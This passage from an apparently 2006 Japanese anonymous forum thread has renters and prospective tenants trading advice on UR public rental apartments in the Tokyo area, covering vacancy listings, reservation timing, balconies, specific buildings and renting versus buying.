建物は古いけど、駅のまん前だし、手軽な家賃で
都心を眺望したい人には、便利でお勧め。

410 :名無し不動さん:2006/08/27(日) 21:31:08 ID:???
西国分寺と板橋も全部格子じゃないかな。
どっちもスタンドアローンだから、高層の部屋は周りから見られる心配はしなくてもよさそう。
しかもどっちも鉄道が近くにあるから、眺望に変化がある。
やっぱ、鉄道とか首都高とかが下にあると楽しい。


411 :名無し不動さん:2006/08/27(日) 21:46:39 ID:???
質問

1.ネットで公開されてるの以外にも借りれる物件ってある?あるとしたらどれくらい?

2.↓みたいにインターネットで申し込みクリックしても申し込めない様になってるヤツは埋まってるって事?
http://sumai.ur-net.go.jp/Sumai/Servlet/SumaiCommon?actionNameS=ArrNormalHousingTableAction&actionMethodS=top&recruitBranchCodeS=10&branchCodeS=20&apartmentCodeS=533

3.例えば60000〜ってなってるヤツの詳細クリックしても100000くらいのからしか無かったりするのは何故?

412 :名無し不動さん:2006/08/27(日) 22:05:17 ID:k3myLudn
1.ある。ネットには半分も出てないよ。
2.インターネットに出てる部屋が無い。とられた。
3.60000の部屋はすでに取られた。

413 :名無し不動さん:2006/08/28(月) 00:51:24 ID:???
ネジっぽい奴はいい配慮だと思うけどな〜。
つっても部屋と台所の間にドアが無いから
アコーディオンカーテン付けるのに穴明け捲くっちまったけどな。

414 :名無し不動さん:2006/08/28(月) 01:19:55 ID:???
インターネット対応してない部屋ってどうするの?
ダイヤルアップでやれってこと?
それともケーブル工事とか許してくれるのかなぁ?



415 :名無し不動さん:2006/08/28(月) 01:22:30 ID:???
叩くとポコポコ音のする壁は、ネジとかクギとか打ったら突き抜けますか?
あと、ポコポコ音のしない固い部分はコンクリですかね?ネジききますか?



416 :名無し不動さん:2006/08/28(月) 01:44:00 ID:???
>>412
サンクス
とりあえず条件を考えておいて営業センターにさっさと逝った方がイイ?
あとURの場合、普通の不動産屋みたいなあくどい所は無い?

417 :名無し不動さん:2006/08/28(月) 06:04:42 ID:???
>>414
ADSLがあるだろう

>>415
ネジ、クギは効かないよ。ボードアンカーってのを使わなきゃならない。
いずれにしても穴開けると退去時に敷金からさっ引かれるよ。

>>416
どこの営業センターでも本社というか元は一緒だから「悪どい」とかはないよ。
「意地の悪い」や「トロい」のはたまにいる。

418 :名無し不動さん:2006/08/28(月) 06:23:51 ID:???
>>400
ポスターなんか貼るなよ
壁が傷つくじゃねえか

419 :名無し不動さん:2006/08/28(月) 07:01:23 ID:???
>>408
河田町でガラスはごく一部だな。
大部分は外観を考えてコンクリート板になってる。
ガラスならまだいいが超高層で格子なんて目も当てられない。
遠くから貧乏臭さが丸わかりだからな。
隙間から物が落ちる危険性もあるしな。

420 :名無し不動さん:2006/08/28(月) 11:32:48 ID:???
遅ですまんが>>397
うちにもあるんだけど、内覧のときにきいたら
家具の転倒防止用のワイヤをつけるところなんだそう。
壁に穴を開けても強度がないからだそうです。
たしかに「かけまくり」でもこわそうな音がする。

421 :名無し不動さん:2006/08/28(月) 11:33:12 ID:???
>>408
おれが前済んでたのもガラスだったよ
同じ縦列だった住民か。
あれはよかった。

422 :名無し不動さん:2006/08/28(月) 12:50:03 ID:???
豊洲に申し込んだんだけどスレの流れを見て何かヤヴァイん?


423 :名無し不動さん:2006/08/28(月) 12:54:37 ID:???
>>359
ああ、そこ俺も聞いてみたがまだ予定は無くて整地だけしてるんだとさ。
まぁ近い将来何かが立つだろうけどね。
あそこも問題だがそれ+バスの転回所が潰されて建物が建ったらニに申し込んだ俺は死亡。

424 :名無し不動さん:2006/08/28(月) 13:17:27 ID:???
>>408
私が前住んでた部屋もガラスだったよ。
ゴミゴミした下界が見えて不快だった。

425 :名無し不動さん:2006/08/28(月) 13:20:17 ID:???
下が見えるのは怖いな

426 :名無し不動さん:2006/08/28(月) 13:30:47 ID:???
>>405
> 格子式の階もありますよって、聞いてもいないのに付け加えてたし

あほか。そういう階があるからそういっただけだろうが。
格子だかアルミ板だか知らねえが安くできるからそうやってんじゃねえか。
高級マンション見てみろ。ほとんどアウトフレームだぞ。

427 :名無し不動さん:2006/08/28(月) 13:51:56 ID:???
>>417
サンクス

ところで
http://www.ur-net.go.jp/akiya/tokyo/aki_hikari/
こういうページ難なの?肝心の物件載って無くない?

428 :名無し不動さん:2006/08/28(月) 13:58:42 ID:???
URって普通の一人暮らし向け物件と比べると高い?

429 :名無し不動さん:2006/08/28(月) 14:06:24 ID:???
>>428
あのさ、物件によるだろ物件に。

430 :名無し不動さん:2006/08/28(月) 14:09:05 ID:???
基本的にURは一人暮らし向けの物件はあまり無いし、あっても広めだったりして
民間の物件より高くなるかもしれんな
URの物件に合わせた民間物件と比較すれば高くは無いと思う

431 :名無し不動さん:2006/08/28(月) 14:20:44 ID:???
>>417
>>「意地の悪い」や「トロい」のはたまにいる。

「性格が良い」のや「要領がいい」のは皆無だがな
現地案内所のおばちゃんのほうがまともな人が多い

432 :名無し不動さん:2006/08/28(月) 14:40:24 ID:???
でもまあ普通の不動産屋の非人間性を考えたらまだまともか

433 :名無し不動さん:2006/08/28(月) 17:49:33 ID:???
>>428
遠くの方に行けば2万円台とかあるよ

434 :名無し不動さん:2006/08/28(月) 18:07:47 ID:???
>>423
そのときは引っ越せ
分譲じゃないメリットだろ

あのロータリーは今年の3月に出来たばっかりだから
そんなにつぶれるとは思わんけど。


435 :名無し不動さん:2006/08/28(月) 18:32:52 ID:???
>>434
会社の補助が8割だから早々引っ越せないのよ。

436 :名無し不動さん:2006/08/28(月) 20:56:37 ID:1JKm164F
>>397
俺の部屋かと思ったよ。URは金太郎飴だな。

437 :名無し不動さん:2006/08/28(月) 21:37:29 ID:???
バルコニーの話をしたら、ゴチャゴチャうるさい奴がいるなぁw
高層階が嫌いなら、低層階に住めばいいだけ。
それより、低層階のよさを教えてくれよ。
奥多摩の5階建てエレベータ無しの団地とかにいるんだろ?




438 :名無し不動さん:2006/08/28(月) 22:15:27 ID:???
>>現地案内所のおばちゃんのほうがまともな人が多い

外部委託が多かったりする。


439 :名無し不動さん:2006/08/28(月) 22:25:19 ID:???
電車から建設中の大崎ビュータワーをちらっと見たら、
バルコニーはおおむね上から1/4位の階を境にして、くもりから透明になってた。

風呂上がりに裸でバルコニーに出た日にゃぁ、山手埼京湘南新宿の客にご開帳だわ。



…単にまだガラスが入ってないだけか?

440 :名無し不動さん:2006/08/28(月) 22:27:59 ID:???
>>439
そうじゃね?

441 :名無し不動さん:2006/08/28(月) 22:51:44 ID:/3aolrNC
低層階エレベーター無しの良さは毎日足腰の鍛錬
が出来ること。エレベーター内に生じるある種の気ま
ずさから解放されること。「落とす、落ちる」の心配が
ないこと。ほどよい風。台風や地震なんかでも落ちつ
いていられること。
しかし、鬼堂凱のように、下界を見下ろして大見得を
切れないのが難点かな。

ふふふ・・・ 見ろ、下界を。
われわれ支配者に支配される一般大衆どもが、
蟻のようにうごめいている。

ー『男大空』よりー

442 :名無し不動さん:2006/08/28(月) 22:57:18 ID:cWCbQPd5
一階に住んでいます。
バルコニーがウッドデッキで階上の1.5倍くらい
あるのが利点と言えば利点。
バルコニーの向かいは芝が広がっていて
リビングから借景ができる。

と一応いっておきます。

443 :名無し不動さん:2006/08/29(火) 00:02:03 ID:???
>>442
風呂アガリに裸足でバルコニーに出た日にゃ…、

444 :名無し不動さん:2006/08/29(火) 00:48:38 ID:GczJgNlY
本駒込あき多いよね・・・

445 :名無し不動さん:2006/08/29(火) 01:53:21 ID:93gcXzj+
>>422
激ヤバ

446 :名無し不動さん:2006/08/29(火) 02:21:09 ID:???
URってガキ多くてウルサイ?
つか、基本的に1人暮らしの若者用ではないの?

447 :名無し不動さん:2006/08/29(火) 09:47:00 ID:???
基本的に1人暮らし向きではない。物件に「単身可」ってあるくらいだから
1人暮らしを想定してない。

なので窓あけてると、隣が揚げ物してて換気扇使ってるとニオイがやってくることが。
基本的に1人暮らし中心の集合住宅の時は、揚げ物をするやつなんか
近所に住んでなかったのでびっくりした。

448 :名無し不動さん:2006/08/29(火) 09:56:54 ID:???
>>447
それ、一人暮らし向きでないことの例になってなくない?

449 :名無し不動さん:2006/08/29(火) 10:01:04 ID:???
>>447
そうなんだ・・・ここの人達は1人暮らしが多いのかな?

450 :名無し不動さん:2006/08/29(火) 10:18:43 ID:???
うち一人暮らしだけど周りは家族で住んでる人ばかりだよ。
一部屋しかないとこだったら一人暮らしの方が多いんじゃないの?

451 :名無し不動さん:2006/08/29(火) 11:07:44 ID:???
>>447
住宅というより、セカンドルームみたいな部屋もあるよ。
赤羽のアボードとか。

452 :名無し不動さん:2006/08/29(火) 11:23:30 ID:AVI6+7Z4
素朴な質問。
単身可と単身用って、どうちがうの?

453 :名無し不動さん:2006/08/29(火) 11:43:15 ID:???
>>452
単身「用」なんてあったっけ?

あるとすれば
単身可=1人でも複数人でもどっちでもOK
単身用=1人のみ可。同居人は不可    じゃねえの?

454 :名無し不動さん:2006/08/29(火) 15:57:43 ID:???
1人暮らしで1部屋タイプのを探してる
って人はURを知ってても選択肢に入れないモンなのかな?

455 :名無し不動さん:2006/08/29(火) 16:01:53 ID:???
>>453
http://www.ur-net.go.jp/akiya/bikoh.html
http://www.ur-net.go.jp/akiya/tokyo/20_1400.html

↑みたいなところかな

456 :名無し不動さん:2006/08/29(火) 16:34:28 ID:???
URって営業センターに「ちわーす」って入って気に入ったの申し込んで住めるまで3週間くらいあればOK?

457 :名無し不動さん:2006/08/29(火) 16:48:28 ID:???
>>454
1Kや1DKの物件がほとんど無いからねえ

>>456
営業センターってか、現地案内所とかに「ちわーす」と入って内覧させてもらうほうが早いと思う
まあ3週間あれば大丈夫なんでないかな

458 :名無し不動さん:2006/08/29(火) 16:51:06 ID:???
>>457
サンクス
今から逝くかな・・・
ネットで申し込もうとしても申し込めないヤツは空き無しってことだよね?
空き無しばっかって

459 :名無し不動さん:2006/08/29(火) 17:06:31 ID:???
ネットに乗ってないヤツも多数あるぞ

460 :名無し不動さん:2006/08/29(火) 17:16:13 ID:???
>>459空家一杯あるのに、
ネットにでないのはどうしてかな?

461 :名無し不動さん:2006/08/29(火) 17:45:16 ID:???
>>459-560
そんなに違うの?
6時までしかやってないし暑いから今日はやめたが、水曜日は休みなのな・・・
2日間無駄にしたぜ
9月中には引っ越さなきゃいけないのに

462 :名無し不動さん:2006/08/29(火) 17:59:45 ID:???
>>460
なんでだろうね
ウチのとこではポストに目貼りがしてあるのが数件あるが、ネットには1件のみ掲載だった
予約中ってこともあるかもしれんが、現地案内所の人もネットには載ってない物件があると
言ってたしな

463 :名無し不動さん:2006/08/29(火) 19:13:35 ID:3UhYZTFO
質問してもいいですか?
URで貯金額100倍で部屋を借りるとき
例えば9万の部屋で900万の残高証明で入ったとします。
で入居後近所にとんでもない迷惑住人が住んでいて
すぐ引越したい場合、今現在住んでる場所より高い家賃の場合とか
引越しの際にちょっと奮発して家具揃えちゃって貯金額が足りない場合
その残高で100倍に満たない物件には入れないってことでよろしいですか?

464 :名無し不動さん:2006/08/29(火) 20:35:38 ID:pKONbAwZ
>>463
その通りでございます。

でもそんなにお金あるなら、一時払いで入ったら?

465 :名無し不動さん:2006/08/29(火) 21:54:04 ID:???
空き家になってから修繕とかするから
少しは寝かせる時間はあるだろ

昔よりはましだよ
抽選であたっても、入居できるのが何ヶ月先か全く見えない
2ヶ月ごとくらいに公団に電話して聞いても、
まだあいてませんの返事ばかっかり
そのくせ、現地行くとポストに転居しましたって書いてるのが
いくつもある


466 :名無し不動さん:2006/08/29(火) 21:55:43 ID:???
>>464
なるほどサンクスです。
一時払いも検討してみます。

467 :名無し不動さん:2006/08/29(火) 22:30:45 ID:???
>>465
今ならあまり場所とかに拘らなければすぐに見つけて2週間くらいでぽんと入れるん?

468 :名無し不動さん:2006/08/29(火) 22:55:56 ID:???
>>467
契約してから最低2週間は必要だから、
最低でも3週間ぐらいは必要だと思う


469 :名無し不動さん:2006/08/29(火) 23:14:07 ID:???
>>467
部屋によるよ。
最速で、契約して1週間だよ。

470 :名無し不動さん:2006/08/30(水) 00:06:49 ID:???
内覧後の書類提出のときに入居の日を決めて、日割の家賃を計算してもらって敷金と一緒に銀行で振込
その証明書を持って契約って流れなんだけど、たぶん最速で書類提出から1週間で入居できると思われ

471 :名無し不動さん:2006/08/30(水) 00:13:59 ID:???
西国分寺のタワーがもう空き部屋で出てる。
大丈夫か?


472 :名無し不動さん:2006/08/30(水) 00:33:52 ID:???
>>468-470
サンクス

473 :名無し不動さん:2006/08/30(水) 01:43:59 ID:???
URに住んでいる人で、マンション買おうか迷っている人いますか。
金利やら消費税やらで、最後のチャンスみたいなこと聞いて、迷っているのですが。

474 :名無し不動さん:2006/08/30(水) 03:03:34 ID:???
>>473
最後のチャンス=ただのセールストーク

475 :名無し不動さん:2006/08/30(水) 06:32:58 ID:???
>>473
「美味い話しが向こうからやって来る事は皆無」というのを学習せよ。
良い物件、お買い得物件は効率の悪い個別セールスなんぞしないでも売れて行くモンだ。

それにしても、UR住み出してから郵便ポストのマンションのチラシがウザくてかなわんなあ…。
前に住んでた木造アパートのときはこれほどじゃなかった。

476 :名無し不動さん:2006/08/30(水) 11:07:54 ID:???
>>473
ここ数年で考えると最後のチャンスだよ
10年以上のスパンで考えると買うのはアホw

477 :名無し不動さん:2006/08/30(水) 14:55:44 ID:???

豊洲シエル行ってみました。

眺望も良かったですけど、びっくりしたのは
駅「直結」だったって事です。
駅1分って書いてあったから、駅の階段上がって外に出て
目の前なのかなぁって思ってたけど、
地下鉄の改札に続く地下通路に、
建物に入る自動ドアとオートロックセンサがある!!
まだ通れなかったけど、あれなら、エレベータを地下まで
降りて、ドアを出れば地下鉄コンコースなんですね・・

これはみなさん応募ですよ。倍率もまだ低かったし
超お勧め物件です。

478 :名無し不動さん:2006/08/30(水) 16:32:24 ID:???
地下まで行くエレベータはショップ用で住居用とは別ではないかと。

479 :477:2006/08/30(水) 16:48:42 ID:???
住居用の地下の入り口は、ショップ用の地上行きエレベータの隣に
あったんです。たぶん、そのオートロックのドアを入って
通路を進んでいくと、地下のエレベータホールに出るのでは
ないかと、図面を見て思いました。
エレベータといえば、6台のうちの一台は、
「ペット」というランプがつくようになっていた・・

480 :名無し不動さん:2006/08/30(水) 17:36:51 ID:???
>>473
買ってどうするの?
ローンを払い終えるころには資産価値はないし、
それまで建物が持ってるかどうか、あなたの雇用が今のままかどうか、会社が残ってるかどうか、怪しいもんだ。
それに、違法建築なんて言われたら目も当てられない。


481 :名無し不動さん:2006/08/30(水) 19:05:33 ID:???
>>477
貴重な情報ありがとう。
でも俺は大崎に申込むわ

482 :名無し不動さん:2006/08/30(水) 19:09:39 ID:???
ま、俺も本命は大崎だなぁ。


483 :名無し不動さん:2006/08/30(水) 22:06:36 ID:???
都内のリフォーム物件に住んでますが、みなさん団地保険入ってます?
洗濯排水が浴室なんで、水漏れが不安なんで、保険入ろうかと思ってます。

484 :名無し不動さん:2006/08/31(木) 00:23:25 ID:???
>>480
築浅のURマンションに住んでいますが、やっぱり分譲マンションと比べると
部屋のスペックは見劣りしますね。。。
URを終の棲家にするつもりはないので、いつかはと思っています。
賃貸に住みつつ、貯金ができれば良いですが、年金もどうなるか分からない
ご時世で、賃貸だからリスクが少ないというのはどうでしょう?


485 :名無し不動さん:2006/08/31(木) 00:57:03 ID:???
>>483
全労災のに入ってる。月400円だったかな。
契約内容によって変わるけど。
他に比べていいかどうかは知らない。


486 :名無し不動さん:2006/08/31(木) 01:11:29 ID:???
マンション購入するのってバクチだぞ
30年後なんか資産価値ないから賃貸の方がいい

487 :名無し不動さん:2006/08/31(木) 11:54:34 ID:???
古い団地の1階って、すぐ外が植え込みだったりするけど
虫とかで大変だったりしますかね?

488 :名無し不動さん:2006/08/31(木) 12:08:52 ID:???
上の方に大崎のほうが豊洲より家賃安いだろうって書き込みがあったけど
自分は大崎の方が高いと思うんだが…。
45m2で15万以上する気が。

489 :名無し不動さん:2006/08/31(木) 14:40:20 ID:???
>>487
夏は天国だよ。涼しいし緑の匂いのする風と蝉の声。
自然が身近にある
冬は寒い……底冷えがする……

490 :名無し不動さん:2006/08/31(木) 14:54:10 ID:???
1階でなくとも、この時期は光につられて虫が多くて困る
エレベータホールに蝉が数匹いると、どうしてくれようかと思う

491 :名無し不動さん:2006/08/31(木) 15:35:46 ID:???
>>489
おぉ、そういうもんですか。
夏涼しいのは良いなあ。

>>490
蝉くらいなら許せる気も。

492 :名無し不動さん:2006/08/31(木) 15:36:53 ID:???
上階の方が音が遠くから届いてうるさい?

493 :名無し不動さん:2006/08/31(木) 17:09:24 ID:???
>>488
あれだけの規模の賃貸だとあまり強気な値段設定はできんと思うよ。
周辺に同等の賃貸があればそれが目安になるんだろうけど、俺は豊洲並と思う。

494 :sage:2006/08/31(木) 18:06:51 ID:y9Gn+PHO
大崎は免震構造だから共益費が高そう。
でも今日みたいな地震があると、免震に惹かれるな。

495 :名無し不動さん:2006/08/31(木) 18:07:41 ID:???
あげちゃった。ごめんね。

496 :名無し不動さん:2006/08/31(木) 20:16:21 ID:NUI5yU+T
ご存知の方がいらしたら教えてください。
〜年以降土地所有者に建物を譲渡する場合があります。
と書いているUR物件がいくつかありますが、実際土地所有者に
譲渡された事例があるのでしょうか?また譲渡された場合、
一定期間後家賃の変更や立ち退きなどあるのでしょうか?

497 :名無し不動さん:2006/08/31(木) 21:21:59 ID:???

>>496
定期借地権でしょ?オーナーが代わるだけだと思われ。それにすごく先の話だし。
基本的には借地借家権があるから借り主の権利は同じでしょう。
でも、オーナーが代わった後では、更新料とか期間契約にしてくれとかいわれるかもね。
でも、よく知らん。


498 :名無し不動さん:2006/08/31(木) 22:15:48 ID:???
UR物件を探すときって、民間の不動産みたいにネットでとりあえずあるか見て
いいのがあったら連絡、なかったら直接営業センターって感じなのかな?
営業センターにしか置いてない物件もたくさんあるんだよね?
ちなみに俺は一人暮らしで1Kか1DKくらいで探してます。

499 :名無し不動さん:2006/08/31(木) 22:50:58 ID:???
>>498
1Kか1DKは、数が少ない割りに狙ってる人多いからよっぽ暇で日に何度でも営業センターに行ける様じゃなきゃ、厳しいよ。
それよりは古目の2DK狙った方がまだいいぜ。

500 :名無し不動さん:2006/08/31(木) 23:49:36 ID:???
>>499
マヂで?でもあまり拘らなければ見つかるよね?
あと、とりあえず適当に入ってそこからイイの探す、ってのも手?

501 :名無し不動さん:2006/09/01(金) 00:22:46 ID:???
質問

・ネットで申し込むのって、電話での場合に比べて遅れたりしない?
 営業時間外ならネットからの方がいいくらい?
・一度申し込んだ後現地見てやっぱ辞めた、って可?
・ガキと主婦がうるさいのがデフォ?

502 :名無し不動さん:2006/09/01(金) 00:25:12 ID:???
>>500
一人暮らしなら荷物も少なく引越し費用もさほどかからんだろうから
とりあえず入ってからゆっくり探すのはアリだね
礼金、手数料無しで敷金もかなり帰ってくるURのメリットは生かそう

503 :名無し不動さん:2006/09/01(金) 00:28:27 ID:???
>>501
ネットに載っている物件なら電話よりネットの申し込みが早い
というかネットで申し込んだ瞬間に予約フラグが立つハズ
現地を内覧してのキャンセルは、もちろん可能
隣人の騒音は場所にもよるから、なんとも言えん

504 :名無し不動さん:2006/09/01(金) 00:32:38 ID:???
>>503
ありがと
ならネットから予約しちゃおう

ところで、渋谷や品川当たりが勤め先なら川崎ってコストパフォーマンスイイ感じ?
ガラ悪かったりしない?

こういう質問だとスレ違いかしら・・・

505 :名無し不動さん:2006/09/01(金) 01:08:05 ID:???
川崎は…あんまりいい話聞かないですね

506 :名無し不動さん:2006/09/01(金) 01:25:36 ID:???
リバーシティ新川ってどう?高層階とか眺望よさげ。
都心すぎて生活しにくいのかな。

507 :名無し不動さん:2006/09/01(金) 02:37:44 ID:???
急いでないので、内覧観たし、色々物件押さえるコツの経験上から。

ネットは補修済みで窓口予約がなかった物件しか上がらない。窓口なら退去前でも予約ができる。
希望してるところがあったら、マメに退去予定物件を最寄の営業所に電話して聞いて、ネットに上がる前に前住人が退去出した時点で押さえるのが絶対勝ち。
退去予定でネットに上がらない物件は窓口でしか押さえられないんだよね。ネット上がるの待つより希望を押さられる確立は断然高い(希望団地は特に)

1DKは結構ネットでも押さえられたな。UP時と同時に予約。まぁ数十秒で押さる時間との争い。

自分は1DK内覧したけど、やっぱり2DKにしようかなっと。
ところでローカル、千葉公団考えてるけど勤務地は都心。
習志野台、若松、真砂と観た。この辺り住んでる人いるかな?ここ?
家賃は習志野台安いけど、アクセス面とか何処がよい?






508 :名無し不動さん:2006/09/01(金) 03:14:51 ID:???
498
ネットでUPされたら、その場でネットから予約。電話してる間に取られるよん
>>営業センターにしか置いてない物件もたくさんあるんだよね?
営業センターにしか物件があるっつーよか、ネットにUP前の物件がわかるし予約できんだよ
507じゃないが何処か拘りあるならネットなんかにUPされる前にセンターで退去予定物件を申し込みのが俺もオススメネットより

509 :名無し不動さん:2006/09/01(金) 03:21:27 ID:YaLFUNJE
徒歩圏内で家賃が手頃な物件はネットに上がってきてもすぐなくなるよね。
上がってきてから考えている暇はない。
日頃からどんな物件があるか調べておいて、即座に判断できる力を養おうw。

510 :名無し不動さん:2006/09/01(金) 03:25:38 ID:YaLFUNJE
空家をためているのはまとめてリフォームするからみたいです。
でリフォームし終わったら、少しずつネットにUPのような気がする。

511 :名無し不動さん:2006/09/01(金) 03:50:30 ID:???
空き家をためてるんじゃないよ、これはどこでも直接聞いた。
賃貸に出すかどうかUR上の決定がないとリフォームできない=賃貸物件として次まわすかどうか
立替えの人の為に貸し出さないとか、母子・生活保護の人様に特別な枠もあるんで一般はってのもある
賃貸が確定ならリフォーム前でも窓口で予約可能
ネットUPはリフォーム済みですぐ入れるけど、いい物件はキャンセル解除かたまたまのタイミングが多い

512 :名無し不動さん:2006/09/01(金) 03:57:19 ID:???
自分は徒歩圏内で家賃希望のとこ狙ってるのあったのよ
仕事の合間に電話で聞いて希望があった
まだ居住してるが退去出てる奴
速攻昼休みに近場の窓口行って予約できたよー ネト待ちよかそっちのがいいぞ?

513 :名無し不動さん:2006/09/01(金) 06:39:13 ID:rO5lJouS
俺も2DK、1LDK探してたけど結局2LDKにした
でもやっぱ広くていいわ
1LDKよりも物件数多くて条件の良いの物件選べるし

514 :名無し不動さん:2006/09/01(金) 07:24:26 ID:???
リニューアル物件なのにネットに出た時点ではリニューアル前ってのもあります。
6月に見た物件がまさにそうでした。
部屋を見に行った数日前にリニューアルが始まったばかりでした。

515 :名無し不動さん:2006/09/01(金) 07:30:42 ID:???
あと池袋の営業センター!
もう少し気の利いた対応してくれ!
あの対応ならタッチ画面で色々操作できる機械を何台か置いておいた方が全然まし。
そうすれば人なんか3人もいれば充分だろ?

516 :名無し不動さん:2006/09/01(金) 08:27:08 ID:???
>>505>>507>>508>>509
みんな詳しくサンクス

川崎イクナイらしいけど、もう今からネットでぽちっとしちゃうぜ!

517 :名無し不動さん:2006/09/01(金) 08:56:00 ID:???
今ネットでやってるけど、よく分からないところが出てきた
訪問登録日を決める段階にあるんだけど、
>平成18年9月28日〜平成18年10月6日迄内覧していただけます。
こういう風になってる場合、入居可能になるのが28日からってこと?
9月中には引っ越せるかな?

あと、訪問予定日は仮申し込みの有効期限ギリギリまで決めなくても物件をキープしておけるよね?

518 :川崎住人:2006/09/01(金) 09:39:06 ID:???
川崎は男性が住む分には何の問題ないだろう。ゴミ回収、毎日来るし。

519 :名無し不動さん:2006/09/01(金) 09:46:32 ID:???
>>517
>>9月中には引っ越せるかな?
今月中は内覧日見ても無理。
内覧が早くて9月28日だから、見て気に入ってその足でセンターに必要書類提出しても。
そこから審査とか色々だから鍵渡されるのは10月に入ってしまうはず。

>>あと、訪問予定日は仮申し込みの有効期限ギリギリまで決めなくても物件をキープしておけるよね?
訪問予定日(訪問登録センター)を一応決めないと
内覧できないよ。取り敢えずでいいから近いセンターと
有効期限ギリギリの日にち指定しておけば?
変更は有効期限最終日の前日までネットで幾らでも変えられるし。

520 :名無し不動さん:2006/09/01(金) 11:41:32 ID:???
>>518
安心した、サンクス

>>519
>内覧が早くて9月28日だから、見て気に入ってその足でセンターに必要書類提出しても。
内覧しないで契約ってのは無理?

521 :名無し不動さん:2006/09/01(金) 15:58:52 ID:???
川崎はゴミ分別にうるさくないのが唯一の利点。

522 :名無し不動さん:2006/09/01(金) 16:00:18 ID:OYCmQb8M
昨日の地震、高層階に住んでる人けっこう揺れた?

523 :名無し不動さん:2006/09/01(金) 19:55:45 ID:???
今日の朝刊にシエル募集のカラー折込が入っていた。
「締切り迫る!」とか書いてあるし、民間の分譲のような紙面だった。
UR賃貸の折込とか初めて見たよ。

524 :名無し不動さん:2006/09/01(金) 21:04:47 ID:???
URって住民の質はどんな感じなの?

525 :名無し不動さん:2006/09/01(金) 21:23:26 ID:???
>>520
外出につき亀。
内欄するしないは本人の自由だからしなくても契約できるはず。
(但し入居してからこんな筈ではにならない様に)

内覧開始日の日付が一ヶ月弱も先。現在まだ居住していると思われ。
部屋の補修に2週間程度を儲けているから今月14日までは居住で退去予定なんじゃないの?
レスポンス早いの希望なら、予約した物件について営業センターに聞けば早いのに
現住居人の退去予定日+補修期間を教えてくれる。
何故物件予約済みなのにここで聞くのかのが疑問なんだが?

しつこいけど、>>平成18年9月28日〜平成18年10月6日迄内覧していただけます。
これ一発を見ただけで今月の入居は絶対に無理だってば(9/27まで補修工事期間)・・・orz

526 :525:2006/09/01(金) 21:32:26 ID:???
とここまで書いて思ったんだが・・・
内覧せずでOKならさっさと書類出してお金払えば9/28から入居も可だろうね。
ぎりぎりご希望の今月の入居になるでしょ。
居住中+補修期間は無理だよ。手続き終えれば内覧開始から入れるんでない?

527 :名無し不動さん:2006/09/01(金) 22:14:59 ID:???
>>520
内覧せずに契約しても可だがもし後で「気に入らない」とかになっても
契約解除手続になるから引越しの有無にかかわらず解除の予告期間14日が
発生する。
もし契約解除日が契約時の入居可能日を超えるようだと日割が取られる。



528 :名無し不動さん:2006/09/01(金) 22:57:49 ID:Fm3tSewa
都市再生機構(公団)の家賃について一言。
以前は地価に連動して家賃を決めていたから、地価が上がっていたときは家賃の
値上げをしていた。
地価が下がりはじめたら、途端に家賃の決め方を変えて、民間準拠方式。
地価が下がっても、家賃が下がらない。
準公務員の給与を維持するために家賃を人為的に操作してるとしか思えない。


529 :名無し不動さん:2006/09/01(金) 23:00:48 ID:rHfUpONx


都市再生機構(公団)の家賃て同じ棟で、なぜ人によって違うの?
特定の政党関係者は割引とかあり?

530 :名無し不動さん:2006/09/01(金) 23:03:15 ID:???
引越しの時、新築だと廊下に養生するよう書いてありますが、
築数ヶ月の場合はどうでしょうか?

531 :名無し不動さん:2006/09/01(金) 23:05:35 ID:???
私の時は旧居が築4ヶ月だったんですけど、引越し業者が廊下を養生せずに
台車でガラガラやってたら他の居住者に怒鳴られていました。

532 :名無し不動さん:2006/09/01(金) 23:07:44 ID:???
新築でさえ養生してくれというと引っ越し業者は嫌な顔をするのに
旧居も新築同然だから養生してくれなんていったら、加算料金取られますかね?


533 :名無し不動さん:2006/09/01(金) 23:14:38 ID:???
釣れますか?

534 :名無し不動さん:2006/09/01(金) 23:21:47 ID:???
URの契約書にはやくざ排除条文がねーんだろ、今どきめずらしーなぁやくざ集まってきちゃうよw

535 :名無し不動さん:2006/09/01(金) 23:37:41 ID:???
どこそこ?
ヤクザなぞいないUR
参考の為に書いてあげたら?馬路なら。
大阪とか?w

536 :名無し不動さん:2006/09/01(金) 23:57:11 ID:N8WdmqFL
都市再生機構(公団)の家賃て同じ棟で、なぜ人によって違うの?
特定の政党関係者は割引とかあり?


537 :名無し不動さん:2006/09/02(土) 00:54:28 ID:???
電話番号の取得で最初に提示される3つは変な番号が多いようだ、
42(死人)とか88(はんぱ)とか。

538 :名無し不動さん:2006/09/02(土) 00:55:21 ID:???
同じ棟でも広さや階数やリニューアルのレベルが違うとか

539 :名無し不動さん:2006/09/02(土) 01:01:04 ID:???
うちは2回提示させたけど6つとも変な番号ばかり。
番号にこだわる人が多い地域だからか?

540 :名無し不動さん:2006/09/02(土) 01:04:32 ID:???
>>479
ほんとだ、しかも1世代限りとも書いてない。
気持ち悪くなってくるな。

541 :名無し不動さん:2006/09/02(土) 01:08:16 ID:???
名前に“ビュー”ってつくところは、眺めのよいところなんですかね?
高台に立ってるとかで。



542 :名無し不動さん:2006/09/02(土) 01:14:36 ID:???
UR都市機構 UR賃貸住宅 ビュータワーおけがわ窓に広がる街並みを眺めながら、熱いコーヒーでゆっくり目覚める。


543 :名無し不動さん:2006/09/02(土) 01:31:52 ID:???
>>507
習志野台は、東西線が死ぬほど混んでるからな〜・・・
家賃安いし、買い物便利だしいい町だけどね〜。。
若松はアクセス最高!それだけ・・・
真砂はアクセスなかなか!買い物も、まー便利。

544 :名無し不動さん:2006/09/02(土) 01:45:01 ID:???
家賃と場所がそこそこいいの見つかったら、とりあえずそこにすべき?
入居可能日がどうとか階数がどうだとか言ってたらよほどの暇と運がないと無理?

545 :名無し不動さん:2006/09/02(土) 02:25:04 ID:???
カワサキとか土壌に不安が立地でも高層階なら安心。

546 :名無し不動さん:2006/09/02(土) 02:37:58 ID:???
>>544
そこそこよければ十分じゃない?
高望みして、後で後悔するのもやだし。

547 :名無し不動さん:2006/09/02(土) 07:55:47 ID:???
悪くないけどもっと良い条件の人が居るのでは・・・と見合いを繰り返していると
良い条件の見合い話もぷっつりと来なくなって・・・

焦って適当なので手を打ったが、よく考えると前の人の方が遙かに良かった・・・

548 :名無し不動さん:2006/09/02(土) 08:37:43 ID:???
>>544
まず気に入った人と結婚して、その後もっといい人が現れて
乗り換えても、慰謝料とかはごくわずかで済む。

549 :名無し不動さん:2006/09/02(土) 10:58:39 ID:???
>>543
レスさんくすでした

何処も一長一短で迷ってしまう
習志野台は家賃安いけど、東葉高が半端なく高い
アクセス面優先させるとやっぱ若松かなぁ
